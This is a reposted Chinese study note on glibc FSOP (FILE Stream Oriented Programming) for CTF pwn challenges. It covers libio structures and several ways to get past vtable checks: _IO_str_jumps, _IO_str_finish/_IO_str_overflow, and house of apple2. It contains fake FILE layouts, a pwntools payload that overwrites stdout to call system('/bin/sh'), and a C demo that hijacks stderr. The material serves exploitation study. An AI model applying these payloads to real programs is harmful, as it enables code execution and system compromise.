ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

20220701- FSOP专题

2022-09-10 18:02:25  阅读:186  来源: 互联网

标签:fp __ 专题 vtable jumps FSOP base IO 20220701


2022/07/01 FSOP专题

IO_FILE 相关结构体

首先我们知道内核启动的时候默认打开3个I/O设备文件,标准输入文件stdin,标准输出文件stdout,标准错误输出文件stderr,分别得到文件描述符 0, 1, 2,而这三个I/O文件的类型为指向FILE的指针,而FILE实际上就是_IO_FILE

typedef struct _IO_FILE FILE;
extern struct _IO_FILE *stdin;        /* Standard input stream.  */
extern struct _IO_FILE *stdout;        /* Standard output stream.  */
extern struct _IO_FILE *stderr;        /* Standard error output stream.  */
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;

其中_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr_定义如下

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

_IO_2_1_stdin__IO_2_1_stdout,_IO_2_1_stderr_都是_IO_FILE_plus结构体指针,除了这三个以外,还有一个_IO_list_all也是_IO_FILE_plus结构体指针,用来管理所有的`_IO_FILE

_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr__IO_list_all都是通过_IO_FILE结构体中的_chain指针相连的,而_chain指针也是一个_IO_FILE结构体指针

img

  • _IO_FILE_plus结构体的定义为:
//in libio/libioP.h
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};
  • 首先我们来讲讲其中的_IO_FILE结构体
struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags
 
    char* _IO_read_ptr;   /* Current read pointer */
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */
 
    struct _IO_marker *_markers;
 
    struct _IO_FILE *_chain;
 
    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;
 
#define __HAVE_COLUMN
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

​ 进程中FILE结构通过_chain域构成一个链表,链表头部为_IO_list_all全局变量,默认情况下依次链接了stderr,stdout,stdin三个文件流,并将新建的流插入到头部,vtable虚表为_IO_file_jumps

stderr,stdout,stdin 是指针,而_IO_2_1_xxx 是结构体)

  • 对于_IO_FILE_plus 结构体中的虚表指针 vtable的结构体类型,定义如下:
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

JUMP_FIELD是一个接收两个参数的宏,前一个参数为类型名,后一个为变量名。结构体的前两个变量实际上不会被使用到,所以默认为0,其余的变量存储着不同的函数指针,在使用FILE结构体进行IO操作的过程中会通过这些函数指针调用到对应的函数。

所以这个函数表中有(24 - 5 + 1)个函数,分别完成IO相关的功能,由IO函数调用,如fwrite最终会调用__write函数,fread会调用__doallocate来分配IO缓冲区等。

  • 除了这两个之外,还有一个_IO_waide_data 结构体

    struct _IO_wide_data
    {
          wchar_t *_IO_read_ptr;   
          wchar_t *_IO_read_end;
          wchar_t *_IO_read_base;
          wchar_t *_IO_write_base;
          wchar_t *_IO_write_ptr;
          wchar_t *_IO_write_end;   
          wchar_t *_IO_buf_base;   
          wchar_t *_IO_buf_end;   
          [...]
          const struct _IO_jump_t *_wide_vtable;
    };
    

    (也许我该看看源码)

FSOP

前言

举个exit()函数退出的例子,当exit发生时:

函数调用链为

  • exit
    • __run_exit_handlers
      • fcloseall
        • _IO_cleanup
          • _IO_flush_all_lockp
            • _IO_OVERFLOW(fp) (vtable里的一个函数)

其中fp的数据类型为_IO_FILE_plus

主要原理

劫持vtable_chain,伪造IO_FILE,主要利用方式为调用IO_flush_all_lockp()函数触发。

  • IO_flush_all_lockp()函数将在以下三种情况下被调用:

    1. libc检测到内存错误,从而执行abort函数时(在glibc-2.26删除)。
    2. 程序执行exit函数时。
    3. 程序从main函数返回时。
    4. house of kiwi
  • bypass:

    fp->_mode = 0
    fp->_IO_write_ptr > fp->_IO_write_base
    

调用过程

如下:

  • __run_exit_handlers
    • fcloseall
      • _IO_cleanup
        • _IO_flush_all_lockp
          • _IO_OVERFLOW(fp)

其中_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow

利用

  • 因此在libc-2.23版本下可如下构造,进行FSOP
因此在libc-2.23版本下可如下构造,进行FSOP:
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = "/bin/sh\x00", //对应此结构体首地址(fp)
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
      ...
     _mode = 0x0, //一般不用特意设置
     _unused2 = '\000' <repeats 19 times>
  },
  vtable = heap_addr
}
heap_addr
{
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x0,
  __overflow = system_addr,
    ...
}
因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")。

因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")

保护

libc-2.24加入了对虚表的检查IO_validate_vtable()IO_vtable_check(),若无法通过检查,则会报错:Fatal error: glibc detected an invalid stdio handle

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)   \
                 + (THIS)->_vtable_offset)))

在最终调用vtable的函数之前,内联进了IO_validate_vtable函数,其源码如下:

static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
    _IO_vtable_check ();
  return vtable;
}

如何绕过

我们要知道glibc中有一段完整的内存存放着各个vtable,其中__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址。若指针不在glibcvtable段,会调用_IO_vtable_check()做进一步检查,以判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。

我们伪造的vtableglibcvtable段中,从而得以绕过该检查。

绕过思路

  • 利用_IO_str_jumps_IO_str_overflow()函数
  • 利用_IO_str_jumps_IO_str_finish()函数
  • 利用_IO_wstr_jumps中对应的这两种函数

利用_IO_str_jumps vtable

_IO_str_finish函数

  • _IO_str_jumps结构体
{
  __dummy = 0,
  __dummy2 = 0,
  __finish <_IO_str_finish>,
  __overflow  <__GI__IO_str_overflow>,
  __underflow  <__GI__IO_str_underflow>,
  __uflow  <__GI__IO_default_uflow>,
  __pbackfail  <__GI__IO_str_pbackfail>,
  __xsputn  <__GI__IO_default_xsputn>,
  __xsgetn  <__GI__IO_default_xsgetn>,
  __seekoff  <__GI__IO_str_seekoff>,
  __seekpos  <_IO_default_seekpos>,
  __setbuf  <_IO_default_setbuf>,
  __sync  <_IO_default_sync>,
  __doallocate  <__GI__IO_default_doallocate>,
  __read  <_IO_default_read>,
  __write  <_IO_default_write>,
  __seek  <_IO_default_seek>,
  __close  <_IO_default_sync>,
  __stat  <_IO_default_stat>,
  __showmanyc  <_IO_default_showmanyc>,
  __imbue  <_IO_default_imbue>
}

  • 我们需要关注的是_IO_str_finish函数

源码如下:

void _IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}


其中相关的_IO_str_fields结构体与_IO_strfile_结构体的定义:

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};
 
typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

可以看到,它使用了IO结构体中的值当作函数地址来直接调用,如果满足条件,将直接将fp->_s._free_buffer当作函数指针来调用。
首先,仍然需要绕过之前的_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base进入到_IO_OVERFLOW中。
我们可以将vtable的地址覆盖成_IO_str_jumps-8,这样会使得_IO_str_finish函数成为了伪造的vtable地址的_IO_OVERFLOW函数(因为_IO_str_finish偏移为_IO_str_jumps0x10,而_IO_OVERFLOW0x18)。这个vtable(地址为_IO_str_jumps-8)可以绕过检查,因为它在vtable的地址段中。
构造好vtable之后,需要做的就是构造IO FILE结构体其他字段,以进入将fp->_s._free_buffer当作函数指针的调用:先构造fp->_IO_buf_base/bin/sh的地址,然后构造fp->_flags不包含_IO_USER_BUF,它的定义为#define _IO_USER_BUF 1,即fp->_flags最低位为0
最后构造fp->_s._free_buffersystem_addrone gadget即可getshell
由于libc中没有_IO_str_jump的符号,因此可以通过_IO_str_jumpsvtable中的倒数第二个表,用vtable的最后地址减去0x168定位。

也可以用如下函数进行定位:

# libc.address = libc_base
def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr
  • payload
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = bin_sh_addr,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps-8 //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : 0x0
+0xe8 ~ +0xf0 : system_addr / one_gadget //fp->_s._free_buffer

重点是明白 哪个是存储函数调用的指针,哪个是参数

p/x &((_IO_strfile *) stdout)->_s._free_buffer

_IO_str_overflow函数

int _IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 调用了fp->_s._allocate_buffer函数指针
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

和之前利用_IO_str_finish的思路差不多,可以看到其中调用了fp->_s._allocate_buffer函数指针,其参数rdinew_size,因此,我们将_s._allocate_buffer改为system的地址,new_size改为/bin/sh的地址,又new_size = 2 * old_blen + 100,也就是new_size = 2 * _IO_blen (fp) + 100,可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100,故我们可以使_IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) // 2,当然还不能忘了需要绕过_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base才能进入到_IO_OVERFLOW中,故令_IO_write_ptr = 0xffffffffffffffff_IO_write_base = 0x0即可。
最终可按如下布局fake IO_FILE

._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = (bin_sh_addr - 100) // 2,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : system_addr / one_gadget //fp->_s._allocate_buffer

参考payload(劫持的stdout):

new_size = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0xfbad2084)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0xffffffffffffffff) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0) #lock
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])

落幕

libc-2.28及以后,由于不再使用偏移找_s._allocate_buffer_s._free_buffer,而是直接用mallocfree代替,所以FSOP也失效了。(指_IO_str_jumps / _IO_str_overflow 失效)

house of apple2(新的FSOP)

基本原理

正常stderr/stdin/stdout以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下:

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
 
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
 
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))       //检查vtable的合法性

IO_validate_vtable函数负责检查vtable的合法性,会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法,程序将会异常终止。

那么我们可不可以查找一个vtable,它的vtable里没有IO_validate_vtable呢?答案是找得到!

观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员

//in the stdio.h/_IO_wide_data
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
 
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:

#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
 
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
 
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
 
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查

那么我们怎么查找属于_wide_vtable的vtable呢?

vscode打开输入_wide_vtable然后**查找所有引用**

注意到该_wide_vtable是属于_IO_wide_data,所以我们不能用_IO_str_jumps/_IO_str_overflow,我们就需要去找一个类似与_wide_vtable的vtable(默认为_IO_wfile_jumps,其他为_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap)

利用思路

_IO_wfile_overflow

fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格(就是的第2个二进制位为0或者第3个或者第)(这个揭示了_flags会作为rdi)

  • vtable设置为

    • _IO_wfile_jumps (libc.sym['_IO_wfile_jumps'])

    • _IO_wfile_jumps_mmap

    • _IO_wfile_jumps_maybe_mmap

      以上vtable加减偏移,使其能成功_IO_wfile_overflow`即可

      (我看demo 调试得2.27正常是call vtable + 0x68,从0x60到0x68要为调用地址,即_IO_wfile_sync)

  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A

  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0

  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0

  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B

  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数调用链如下:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
  • demo(_IO_wdefault_xsgetn):

    //ubuntu 20.04
    
    #include<stdio.h>
    #include<stdlib.h>
    #include<stdint.h>
    #include<unistd.h>
    #include <string.h>
     
    void backdoor()
    {
        printf("\033[31m[!] Backdoor is called!\n");
        _exit(0);
    }
     
    void main()
    {
        setbuf(stdout, 0);
        setbuf(stdin, 0);
        setbuf(stderr, 0);
     
        char *p1 = calloc(0x200, 1);
        char *p2 = calloc(0x200, 1);
        puts("[*] allocate two 0x200 chunks");
     
        size_t puts_addr = (size_t)&puts;
        printf("[*] puts address: %p\n", (void *)puts_addr);
        size_t libc_base_addr = puts_addr - 0x84420;
        printf("[*] libc base address: %p\n", (void *)libc_base_addr);
     
        size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
        printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
     
        size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
        printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
     
        char *stderr2 = (char *)_IO_2_1_stderr_addr;
        puts("[+] step 1: change stderr->_flags to 0x800");
        *(size_t *)stderr2 = 0x800;
     
        puts("[+] step 2: change stderr->_mode to 1");
        *(size_t *)(stderr2 + 0xc0) = 1;
     
        puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
        //正常是call vtable + 0x60,这里借助了一个错位
        *(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20; 
     
        puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
        *(size_t *)(stderr2 + 0xa0) = (size_t)p1;
     
        puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
        *(size_t *)(p1 + 0xe0) = (size_t)p2; 
     
        puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr >  stderr->_wide_data->_wide_vtable->_IO_write_base");
        *(size_t *)(p1 + 0x20) = (size_t)1;
     
        puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
        // ► 0x7ffff7e435f5 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]        <backdoor>
        //rax ->> p2
        *(size_t *)(p2 + 0x18) = (size_t)(&backdoor);
     
        puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
        fflush(stderr);
    }
    

_IO_wfile_underflow_mmap

fp的设置如下:

  • _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数调用链如下:

_IO_wfile_underflow_mmap
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_wdefault_xsgetn

附录

amd64:
 
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
00:0000│   (_IO_wfile_jumps) ◂— 0x0
01:0008│   (_IO_wfile_jumps+8) ◂— 0x0
02:0010│   (_IO_wfile_jumps+16) —▸  (_IO_file_finish)  
03:0018│   (_IO_wfile_jumps+24) —▸  (_IO_wfile_overflow)  
04:0020│   (_IO_wfile_jumps+32) —▸  (_IO_wfile_underflow)  
05:0028│   (_IO_wfile_jumps+40) —▸  (_IO_wdefault_uflow)  
06:0030│   (_IO_wfile_jumps+48) —▸  (_IO_wdefault_pbackfail)  
07:0038│   (_IO_wfile_jumps+56) —▸  (_IO_wfile_xsputn)  
08:0040│   (_IO_wfile_jumps+64) —▸  (__GI__IO_file_xsgetn)  
09:0048│   (_IO_wfile_jumps+72) —▸  (_IO_wfile_seekoff)  
0a:0050│   (_IO_wfile_jumps+80) —▸  (_IO_default_seekpos)  
0b:0058│   (_IO_wfile_jumps+88) —▸  (_IO_file_setbuf)  
0c:0060│   (_IO_wfile_jumps+96) —▸  (_IO_wfile_sync)  
0d:0068│   (_IO_wfile_jumps+104) —▸  (_IO_wfile_doallocate)  
0e:0070│   (_IO_wfile_jumps+112) —▸  (_IO_file_read)  
0f:0078│   (_IO_wfile_jumps+120) —▸  (_IO_file_write)  
10:0080│   (_IO_wfile_jumps+128) —▸  (_IO_file_seek)  
11:0088│   (_IO_wfile_jumps+136) —▸  (_IO_file_close)  
12:0090│   (_IO_wfile_jumps+144) —▸  (_IO_file_stat)  
13:0098│   (_IO_wfile_jumps+152) —▸  (_IO_default_showmanyc)  
14:00a0│   (_IO_wfile_jumps+160) —▸  (_IO_default_imbue)  
    
a8 ~ c0

参考链接

标签:fp,__,专题,vtable,jumps,FSOP,base,IO,20220701
来源: https://www.cnblogs.com/7resp4ss/p/16677936.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有